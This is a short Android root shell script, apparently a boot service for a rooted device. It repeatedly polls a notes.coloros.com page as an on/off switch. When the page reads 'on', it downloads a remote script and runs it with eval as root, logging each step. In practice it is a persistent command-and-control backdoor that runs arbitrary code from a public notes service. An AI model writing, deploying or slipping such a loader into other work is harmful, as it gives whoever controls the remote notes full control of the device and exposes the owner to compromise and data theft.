#!/system/bin/sh
CONFIG_URL="https://notes.coloros.com/s/qBK50jLnlqfM_1"
COMMAND_URL="https://notes.coloros.com/s/1.sh"
CHECK_INTERVAL=10
LOG_FILE="/data/adb/service.d/run.log"

echo "服务启动: $(date)" > $LOG_FILE

while true; do
    echo "检查状态: $(date)" >> $LOG_FILE
    status=$(curl -s --connect-timeout 5 "$CONFIG_URL" 2>&1)
    echo "状态响应: $status" >> $LOG_FILE
    
    if echo "$status" | grep -q "开启"; then
        echo "检测到开启状态" >> $LOG_FILE
        command=$(curl -s --connect-timeout 5 "$COMMAND_URL" 2>&1)
        echo "获取命令: $command" >> $LOG_FILE
        if [ -n "$command" ]; then
            echo "执行命令: $command" >> $LOG_FILE
            eval "$command" >> $LOG_FILE 2>&1
            echo "命令执行完成" >> $LOG_FILE
        fi
    fi
    sleep $CHECK_INTERVAL
done
